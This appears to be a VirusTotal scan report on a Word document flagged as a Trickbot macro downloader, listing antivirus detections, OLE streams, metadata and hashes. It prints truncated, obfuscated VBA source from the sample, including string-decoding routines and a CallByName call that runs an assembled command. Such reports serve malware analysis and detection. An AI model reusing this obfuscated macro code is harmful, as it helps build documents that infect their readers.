Antivirus scan for 3782f96c6d9f3136651da208465fa939313b7e4f21bdc4ef10c05926e0428a65 at 2018-03-28 10:48:54 UTC

Antivirus	Result	Update
AegisLab	Vba.Downloader.Fse!c	20180328
Avast	VBA:Downloader-FSE [Trj]	20180328
AVG	VBA:Downloader-FSE [Trj]	20180328
Baidu	VBA.Trojan-Downloader.Agent.cny	20180328
F-Secure	Trojan:W97M/Nastjencro.A	20180328
Fortinet	VBA/Agent.YPEZ!tr.dldr	20180328
Ikarus	Win32.Outbreak	20180328
Qihoo-360	Win32/Trojan.Downloader.8eb	20180328
Tencent	Macro.Trojan.Dropperd.Auto	20180328
ZoneAlarm by Check Point	HEUR:Trojan-Downloader.Script.Generic	20180328
Ad-Aware		20180328
AhnLab-V3		20180328
Alibaba		20180328
ALYac		20180328
Antiy-AVL		20180328
Arcabit		20180328
Avast-Mobile		20180328
Avira (no cloud)		20180328
AVware		20180328
BitDefender		20180328
Bkav		20180328
CAT-QuickHeal		20180327
ClamAV		20180328
CMC		20180328
Comodo		20180328
CrowdStrike Falcon (ML)		20170201
Cybereason		None
Cylance		20180328
Cyren		20180328
DrWeb		20180328
eGambit		20180328
Emsisoft		20180328
Endgame		20180316
ESET-NOD32		20180328
F-Prot		20180328
GData		20180328
Sophos ML		20180121
Jiangmin		20180328
K7AntiVirus		20180328
K7GW		20180328
Kaspersky		20180328
Kingsoft		20180328
Malwarebytes		20180328
MAX		20180328
McAfee		20180328
McAfee-GW-Edition		20180328
Microsoft		20180328
eScan		20180328
NANO-Antivirus		20180328
nProtect		20180328
Palo Alto Networks (Known Signatures)		20180328
Panda		20180327
Rising		20180328
SentinelOne (Static ML)		20180225
Sophos AV		20180328
SUPERAntiSpyware		20180328
Symantec		20180328
Symantec Mobile Insight		20180311
TheHacker		20180327
TrendMicro		20180328
TrendMicro-HouseCall		20180328
Trustlook		20180328
VBA32		20180328
VIPRE		20180328
ViRobot		20180328
WhiteArmor		20180324
Yandex		20180328
Zillya		20180328
Zoner		20180327

The file being studied follows the Compound Document File format! More specifically, it is a MS Word Document file.

Commonly abused properties

The studied file makes use of macros, a macro is a series of commands and instructions that you group together as a single command to accomplish a task automatically. Macros are often abused to perform malicious tasks when working with a document.

May create OLE objects.

Seems to contain deobfuscation code.

Summary

last_author

Longer

creation_datetime

2018-03-28 10:32:00

revision_number

author

Longer

page_count

last_saved

2018-03-28 10:43:00

edit_time

300

word_count

template

Normal.dotm

application_name

Microsoft Office Word

character_count

198

code_page

Latin I

Document summary

line_count

characters_with_spaces

231

version

786432

paragraph_count

code_page

-535

OLE Streams

[+] Root Entry

[+] \x01CompObj

[+] \x05DocumentSummaryInformation

[+] \x05SummaryInformation

[+] Macros/VBA/ThisDocument

[+] Macros/VBA/_VBA_PROJECT

[+] Macros/VBA/alrboro2

[+] Macros/VBA/asampalassa

[+] Macros/VBA/dir

[+] Macros/VBA/dlmjhecx

[+] Macros/VBA/subscripting

[+] Macros/VBA/wordapollo

[+] Macros/dlmjhecx/\x01CompObj

[+] Macros/dlmjhecx/\x03VBFrame

[+] Macros/dlmjhecx/f

[+] Macros/dlmjhecx/o

[+] Macros/subscripting/\x01CompObj

[+] Macros/subscripting/\x03VBFrame

[+] Macros/subscripting/f

[+] Macros/subscripting/o

[+] Macros/wordapollo/\x01CompObj

[+] Macros/wordapollo/\x03VBFrame

[+] Macros/wordapollo/f

[+] Macros/wordapollo/o

[+] WordDocument

Macros and VBA code streams

[+] ThisDocument.cls Macros/VBA/ThisDocument 148 bytes

[+] alrboro2.bas Macros/VBA/alrboro2 2015 bytes

obfuscated

Sub rescejux(avehsidayP)
cv = "Run"
cv0 = 0
cv1 = True
CallByName avehsidayP, cv, VbMethod, subscripting.cancertemp, cv0, cv1
End Sub

Function goldsidney()
goldsidney = slimjim6
End Function

Function slimjim6()
slimjim6 = kitty0000(dlmjhecx.eVpFkWb6)
End Function

Function gomemphis(sorspanc, homechiefs)
gretseep = 33 - 31
gretseep = gretseep - 26 - gretsee
gretseep = 71 + 54 - gretseep + 5
gretseep = 70 - 87 + 10
gomemphis = kitty0000(dlmjhecx.iosvotsere) + homechiefs + kitty0000(dlmjhecx.fraipio5) + _
homechiefs + kitty0000(dlmjhecx.anihiseloK) + sorspanc + _
kitty0000(dlmjhecx.dereshop + yonpeakb + dlmjhecx.strat0000) + sorspanc + kitty0000(dlmjhecx.dereshop)
End Function

Function stricpec(utricrot)
avonokruhC = zeeelasu(9, 4) - 1
ayakcobolS = zeeelasu(53, 1)
gretseep = 33 - 31
gretseep = gretseep - 26 - gretsee
gretseep = 70 - 87 + 10
batmantim = pipedoun(important, ayakcobolS)
For trish915 = 2 To avonokruhC
ayakcobolS = zeeelasu(27, 1)
gretseep = 33 - 31
gretseep = 71 + 54 - gretseep + 5
gretseep = 70 - 87 + 10
batmantim = batmantim + pipedoun(utricrot, ayakcobolS)
Next trish915
ayakcobolS = zeeelasu(37, 1)
gretseep = 33 - 31
gretseep = gretseep - 26 - gretsee
gretseep = 71 + 54 - gretseep + 5
stricpec = arithpic(batmantim, ayakcobolS)
End Function

Function arithpic(suadecal, word4567)
arithpic = suadecal + pipedoun(hellonei, word4567)
End Function

Function fordarthur(surflarson)
gretseep = 33 - 31
gretseep = gretseep - 26 - gretsee
gretseep = 71 + 54 - gretseep + 5
gretseep = 70 - 87 + 10
fordarthur = kitty0000(graphgur + dlmjhecx.edcbasou) + surflarson + _
kitty0000(dlmjhecx.wunta748) + surflarson + kitty0000(wordapollo.ANILLUBIGA)
End Function

Function graphgur()
graphgur = "]/oui.g/nEmaE]jRh,aiu/Es/l"
End Function

Function hellonei()
hellonei = subscripting.scondnew
End Function

Sub VOKNEHCAYLEB()
Randomize
gretseep = 33 - 31
gretseep = gretseep - 26 - gretsee
gretseep = 71 + 54 - gretseep + 5
gretseep = 70 - 87 + 10
wordapollo.subrange = "RFENSLIM1 [... continues ...]

[+] asampalassa.bas Macros/VBA/asampalassa 2493 bytes

Function zeeelasu(xiang4321, riverangus)
zeeelasu = jordan10(Int((xiang4321 * Rnd()) + riverangus))
End Function

Function jordan10(gnippihw)
gretseep = 33 - 31
gretseep = gretseep - 26 - gretsee
gretseep = 71 + 54 - gretseep + 5
gretseep = 70 - 87 + 10
jordan10 = CInt(gnippihw)
End Function

Function important()
important = wordapollo.webqazwsx
End Function

Function gold1888(ANIKATAB As String, ocmotesi As Integer) As String
Dim amicamic As Integer
amicamic = 0
gretseep = 33 - 31
gretseep = gretseep - 26 - gretsee
gretseep = 71 + 54 - gretseep + 5
For holmdelholmdel = 1 To 90
If (pipedoun(techloser, holmdelholmdel) = ANIKATAB) Then
   amicamic = holmdelholmdel
    Exit For
    gretseep = 33 - 31
gretseep = 71 + 54 - gretseep + 5
gretseep = 70 - 87 + 10
End If
Next holmdelholmdel
gretseep = 33 - 31
gretseep = gretseep - 26 - gretsee
gretseep = 71 + 54 - gretseep + 5
amicamic = IIf(amicamic - ocmotesi <= 0, 90 + amicamic - ocmotesi, amicamic - ocmotesi)
gold1888 = pipedoun(techloser, amicamic)
End Function

Function vorechar(nikzubrA, rubinho1, mantradog, papa1985)
gretseep = 33 - 31
gretseep = gretseep - 26 - gretsee
gretseep = 71 + 54 - gretseep + 5
gretseep = 70 - 87 + 10
subscripting.cancertemp = hcivotoZ(nikzubrA, rubinho1) + gomemphis(nikzubrA, mantradog) + fordarthur(papa1985)
End Function

Function techloser()
techloser = wordapollo.keshaun1
End Function

Function vision466()
vision466 = dlmjhecx.OKNEHSAMOR
End Function

Function AVOKHCOMAM()
AVOKHCOMAM = subscripting.demon401
End Function

Function pipedoun(orutabahS, kuangguo)
pipedoun = Mid(orutabahS, kuangguo, 1)
End Function

Function hcivotoZ(nacmxe15, lazybone)
gretseep = 33 - 31
gretseep = gretseep - 26 - gretsee
gretseep = 71 + 54 - gretseep + 5
gretseep = 70 - 87 + 10
hcivotoZ = kitty0000(subscripting.AYAHSEBMAH) + nacmxe15 + kitty0000(dlmjhecx.depm1980) + _
 lazybone + kitty0000(subscripting.crochai7 + subscripting.horsesow) + lazybone
End Function

Function kitty0000(NewCross)
vokinraboraH = ""
t [... continues ...]

[+] subscripting.frm Macros/VBA/subscripting 464 bytes

create-ole

[+] wordapollo.frm Macros/VBA/wordapollo 376 bytes

ExifTool file metadata

SharedDoc

Author

Longer

HyperlinksChanged

System

Windows

LinksUpToDate

LastModifiedBy

Longer

HeadingPairs

, 1

Identification

Word 8.0

Template

Normal.dotm

CharCountWithSpaces

231

CreateDate

2018:03:28 09:32:00

Word97

LanguageCode

English (US)

ModifyDate

2018:03:28 09:43:00

Characters

198

CodePage

Unicode (UTF-8)

RevisionNumber

MIMEType

application/msword

Words

FileType

DOC

Lines

AppVersion

12.0

Security

None

Software

Microsoft Office Word

TotalEditTime

5 minutes

Pages

ScaleCrop

CompObjUserTypeLen

FileTypeExtension

doc

Paragraphs

LastPrinted

0000:00:00 00:00:00

DocFlags

Has picture, 1Table, ExtChar

Compressed bundles

This file was also submitted to VirusTotal in the following compressed file bundles.

3308851a0c1be4bdba1c40bb8bdaabc8519ce7604905aa06ccc2e001152ecb51

File identification

MD5 72a546259753c4f976aae1dcd3b176f5

SHA1 3ab6818789fe3574de05f5ba7a9a95cf0cd8e710

SHA256 3782f96c6d9f3136651da208465fa939313b7e4f21bdc4ef10c05926e0428a65

ssdeep

768:QneKCBC0MK8aVpIEgcTQV6IzWgSpapbhp:CtIdJeYk0sSEJh

File size 62.0 KB ( 63488 bytes )

File type MS Word Document

Magic literal

CDF V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Longer, Template: Normal.dotm, Last Saved By: Longer, Revision Number: 2, Name of Creating Application: Microsoft Office Word, Total Editing Time: 05:00, Create Time/Date: Tue Mar 27 09:32:00 2018, Last Saved Time/Date: Tue Mar 27 09:43:00 2018, Number of Pages: 1, Number of Words: 34, Number of Characters: 198, Security: 0

TrID	Microsoft Word document (80.0%) Generic OLE2 / Multistream Compound File (20.0%)

VirusTotal metadata

First submission 2018-03-28 10:32:06 UTC ( 10 months, 3 weeks ago )

Last submission 2018-11-20 09:03:19 UTC ( 3 months ago )

File names

2018-03-28-Word-doc-with-macro-for-Trickbot.doc
SecureMessage.doc
Malware_MSOLE2_3782f96c6d9f3136651da208465fa939313b7e4f21bdc4ef10c05926e0428a65
481f30c87491418f5acfb54b502056af97032611
3782f96c6d9f3136651da208465fa939313b.doc
PO

SHA256:	3782f96c6d9f3136651da208465fa939313b7e4f21bdc4ef10c05926e0428a65
Detection ratio:	10 / 58
Analysis date:	2018-03-28 10:48:54 UTC ( 10 months, 3 weeks ago ) View latest

Ciphered bundle

Commonly abused properties

Summary

Document summary

OLE Streams

Macros and VBA code streams

ExifTool file metadata

Compressed bundles

File identification

VirusTotal metadata

Leave your comment...

Recover your password

Join VirusTotal Community

Sign in